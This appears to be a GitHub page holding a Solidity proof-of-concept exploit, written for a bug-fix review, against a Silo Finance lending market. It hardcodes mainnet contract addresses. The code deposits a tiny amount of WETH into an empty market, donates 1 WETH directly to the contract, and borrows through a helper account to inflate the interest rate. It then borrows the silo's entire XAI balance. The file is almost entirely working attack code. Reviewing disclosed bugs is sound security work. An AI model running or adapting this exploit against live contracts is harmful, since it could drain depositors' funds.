-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathBugFixReview.sol
112 lines (83 loc) · 3.95 KB
/
BugFixReview.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "@openzeppelin/interfaces/IERC20.sol";
interface ISilo {
function deposit(address _asset, uint256 _amount, bool _collateralOnly)
external
returns (uint256 collateralAmount, uint256 collateralShare);
function borrow(address _asset, uint256 _amount) external returns (uint256 debtAmount, uint256 debtShare);
function assetStorage(address _asset) external view returns (IBaseSilo.AssetStorage memory) ;
function accrueInterest(address _asset) external returns (uint256 interest);
}
interface IBaseSilo {
/// @dev Storage struct that holds all required data for a single token market
struct AssetStorage {
/// @dev Token that represents a share in totalDeposits of Silo
IShareToken collateralToken;
/// @dev Token that represents a share in collateralOnlyDeposits of Silo
IShareToken collateralOnlyToken;
/// @dev Token that represents a share in totalBorrowAmount of Silo
IShareToken debtToken;
/// @dev COLLATERAL: Amount of asset token that has been deposited to Silo with interest earned by depositors.
/// It also includes token amount that has been borrowed.
uint256 totalDeposits;
/// @dev COLLATERAL ONLY: Amount of asset token that has been deposited to Silo that can be ONLY used
/// as collateral. These deposits do NOT earn interest and CANNOT be borrowed.
uint256 collateralOnlyDeposits;
/// @dev DEBT: Amount of asset token that has been borrowed with accrued interest.
uint256 totalBorrowAmount;
}
}
interface IShareToken {}
contract OtherAccount{
ISilo immutable SILO;
IERC20 constant public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant public LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
address owner;
constructor(ISilo _silo) {
owner = msg.sender;
SILO = _silo;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function depositLinkAndBorrowWETH() external onlyOwner { // This will inflate the ETH interest rate.
uint256 depositAmount = LINK.balanceOf(address(this));
LINK.approve(address(SILO), depositAmount);
SILO.deposit(address(LINK), depositAmount, true);
SILO.borrow(address(WETH), 1 ether);
WETH.transfer(owner, 1 ether); // Return the borrowed amount to the exploit contract
}
}
contract SiloBugFixReview{
ISilo public constant SILO = ISilo(0xcB3B879aB11F825885d5aDD8Bf3672596d35197C);
IERC20 public constant XAI = IERC20(0xd7C9F0e536dC865Ae858b0C0453Fe76D13c3bEAc);
IERC20 constant public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant public LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
OtherAccount public immutable otherAccount;
constructor() {
otherAccount = new OtherAccount(SILO);
}
modifier checkZeroAssetStorage() {
require(SILO.assetStorage(address(WETH)).totalDeposits == 0);
_;
}
function run() external checkZeroAssetStorage {
uint256 accrueInterest = SILO.accrueInterest(address(WETH));
console.log("Balance of XAI before exploit= ", XAI.balanceOf(address(this)));
console.log("WETH interest rate before exploit = ", accrueInterest);
uint256 depositAmount = 1e5;
uint256 donatedAmount = 1e18;
WETH.approve(address(SILO), depositAmount);
SILO.deposit(address(WETH), depositAmount, false);
WETH.transfer(address(SILO), donatedAmount);
otherAccount.depositLinkAndBorrowWETH();
}
function run2() external {
uint256 accrueInterest = SILO.accrueInterest(address(WETH));
SILO.borrow(address(XAI), XAI.balanceOf(address(SILO)));
console.log("Balance of XAI after exploit= ", XAI.balanceOf(address(this)));
console.log("WETH interest rate after exploit = ", accrueInterest);
}
}